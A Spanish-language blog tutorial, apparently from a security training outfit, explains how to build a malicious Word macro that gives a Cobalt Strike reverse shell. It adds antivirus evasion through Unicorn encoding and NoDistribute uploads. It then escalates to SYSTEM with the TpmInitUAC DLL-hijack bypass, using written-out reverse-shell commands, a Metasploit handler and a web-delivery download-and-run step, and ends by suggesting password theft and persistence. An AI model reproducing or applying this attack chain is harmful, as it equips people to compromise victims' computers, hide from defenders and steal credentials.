CobalStrike + MS Word + Bypass UAC
Hoy más que nunca los ciber criminales están en cada nodo de internet y muchos de ellos en intentos desesperados por robar información de cualquier tipo pueden llegar a recurrir en técnicas tan viejas como la infección con macros de Microsoft Office maliciosas y hoy explicaremos como se puede hacer una Macro de Office para obtener una conexión reversa a un equipo con Windows, esta técnica existe para Mac.
CobalStrike
Una herramienta por excelencia para pruebas de seguridad informática, con este framework es con el cual obtendremos nuestra Shell reversa a la maquina víctima.
Cobalt contiene gran variedad de tools de explotación como de post explotación y lo que haremos será generar el Listener que será lo que nos permita recibir la conexión de nuestra victima
Aquí asignamos el nombre, payload, host o ip de dónde se va a conectar la Shell y el puerto, recuerda que para conexiones fuera de la red depende mucho de tu ISP o proveedor de internet, puede que después que hagas portfoward a tu router.
El siguiente paso es generar nuestro payload de ataque, en este caso en particular escogeremos Powershell “no olvides que si tienes varios Listeners escoger el correcto para la ocasión” y daremos en generar para guardarlo en alguna ubicación de nuestro sistema operativo.
Hicimos lo anterior debido a que la macro original que genera CobalStrike es muy detectada por los antivirus lo cual es un estorbo para pruebas de penetración y limitaría el trabajo así que el archivo ps1 o powershell que generamos lo vamos a pasar por un encoder y generador de payloads llamado Unicorn, de los mismos creadores de la famosa herramienta SEToolkit
https://github.com/trustedsec/unicorn
Recuerda descargar la tool:
git clone https://github.com/trustedsec/unicorn.git
Esta genial herramienta permite encodear archivos ps1 para generar una macro que podemos poner en nuestro archivo final, podemos poner cualquier ps1 Unicorn, generara una macro para office.
Su uso es súper sencillo solo tenemos que poner nuestro archivo tal cual nos indica el script y nos generara una macro como esta:
Hay que corregir un pequeño detalle Unicron asigna la función principal como Auto_open
debemos quitar el guión bajo “_” para que nuestra macro se ejecute inmediatamente cuando el usuario habilite la macro, de lo contrario no pasara absolutamente nada aunque el usuario habilite la macro, básicamente tendría que ir a la cinta de desarrollador y ejecutar manualmente la macro:
La victima vera algo así:
Existen páginas web de antivirus (online) que nos ayudan a verificar si el archivo puede hacer un bypass a los más reconocidos antivirus. No olvides solo subir tus muestras a NoDistribute para asegurar por más tiempo la funcionalidad de los payloads:
Ya una vez habilitada la macro esta nos dará una conexión reversa
Pero por estándar Word no ejecuto nuestra macro con privilegios elevados y casi no podemos hacer nada con la Shell que tenemos, tenemos que elevar esos privilegios de alguna forma, pero lamentablemente CobalStrike no tiene integrado nada para elevar privilegios en Windows 10 por lo que tendremos que ayudarnos de dos herramientas más para poder lograrlo y tener entonces una Shell con privilegios de SYSTEM
.
La vieja pero confiable, Metasploit que servirá de intermediario para devolvernos una Shell con privilegios y TpmInitUAC:
https://github.com/Cn33liz/TpmInitUACAnniversaryBypass
Una herramienta para evitar el control de cuentas de usuario (UAC), para obtener un shell de comandos invertido de alta integridad (o SYSTEM
), una sesión de PowerShell invertida o una sesión de Meterpreter inversa. Cuando se inicia TpmInit.exe, primero intenta cargar el wbemcomn.dll dentro de C:\Windows\System32\wbem.
Esta DLL no se puede encontrar en esa carpeta, por lo que intenta cargar la DLL de nuevo, pero luego en C:\Windows\System32.
Esta herramienta explota esta vulnerabilidad de carga de DLL dentro de TpmInit.exe
, que se ejecuta auto-elevada por defecto. El mismo problema también se aplica al servicio WMI Performance Adapter (wmiApSrv)
que se ejecuta con privilegios SYSTEM
. Así que mientras podemos usar TpmInit.exe
para obtener privilegios Elevados, también podemos usarlo para iniciar el servicio wmiApSrv
y obtener un shell de sistema usando nuestro DLL personalizado.
Con los poco privilegios que tenemos subiremos el TpmInitUAC
, recuerda hacer un reconocimiento para saber en qué versión de Windows estas para subir TpmInitUAC
para las primeras versiones de Windows 10 o de la versión de Aniversario en adelante
Al subirlo solo tenemos que usar su básicos comandos:
* [>] Usage: First setup a remote Netcat, Ncat or Meterpreter(x64) listener * [>] Example: KickAss@PenTestBox:~$ sudo ncat -lvp 443 * [>] Or for msf: KickAss@PenTestBox:~$ sudo msfconsole * [>] msf > use exploit/multi/handler * [>] msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp * [>] msf exploit(handler) > set LHOST 10.0.0.1 * [>] msf exploit(handler) > set LPORT 443 * [>] msf exploit(handler) > exploit -j * [>] Then on your target: TpmInitUACBypass.exe <Remote Listener IP> <Port> <powershell, cmd or msf> <system> * [>] Example1: Remote Elevated Cmd Shell: TpmInitUACAnniversaryBypass.exe 10.0.0.1 443 cmd * [>] Example2: Remote SYSTEM Cmd Shell: TpmInitUACAnniversaryBypass.exe 10.0.0.1 443 cmd system * [>] Example3: Remote Elevated PowerShell: TpmInitUACAnniversaryBypass.exe 10.0.0.1 443 powershell * [>] Example4: Remote SYSTEM PowerShell: TpmInitUACAnniversaryBypass.exe 10.0.0.1 443 powershell system * [>] Example5: Remote Elevated Meterpreter: TpmInitUACAnniversaryBypass.exe 10.0.0.1 443 msf * [>] Example6: Remote SYSTEM Meterpreter: TpmInitUACAnniversaryBypass.exe 10.0.0.1 443 msf system
Cuando estamos en CobalStrike
debemos escribir Shell seguido de algún comando para que lo interprete como si fuera una consola de Windows CMD algo así como:
Shell TpmInitUACAnniversaryBypass.exe 10.0.0.1 443 msf system
Y por supuesto hay que tener nuestro Metasploit escuchando:
Use exploit/multi/handler Set payload Windows/x64/meterpreter/reverce_tcp Set LHOST Set LPORT Set EXITONSESSION false Exploit -j
Una ves que tengamos nuestra sesión de meterpreter
solo hay que regresar a nuestra sesión de CobalStrike
para crear un ataque Web delivery.
Nos generara un código para poder en el CMD de Windows o en la ventana de ejecutar “RUN”, aquella que abrimos con la tecla Windows + R.
Este ataque consiste en que Cobalt crea un servidor web donde aloja un script en powershell que lo descargara y lo ejecutara para tener una sesión
Pero ese comando lo podremos en nuestra Shell de meterpreter porque esa es la que ahora tiene el máximo nivel de privilegios posible.
Te recuerdo en que en meterpreter el comando para tener una Shell tipo CMD de Windows es con: Shell
Lo demás es solo copiar y pegar.
Listo! Ahora si ya tenemos una sesión con todos los privilegios posibles, ahora podemos extraer contraseñas, crear persistencias, acceso a los archivos del sistemas y el registro de Windows y prácticamente todo lo que se te ocurra, quizás algunas cosas como detener el proceso del antivirus no siempre se pueda debido a que algunos también corren con privilegios de system pero es mejor ser indetectable para ellos y simplemente no molestaran, en cambio no es por hacer publicidad a Kaspersky pero este AV es de los más fastidioso para evadir y sobre todo para escalar privilegios pero no es infalible ya en otra ocasión veremos cómo hacerlo y hacer de kaspersky nuestra sirvienta.
¿Te interesa un curso de hacking y seguridad en tu empresa o institución?, ponte en contacto con nosotros, o checa nuestros cursos en tpx.mx/cursos.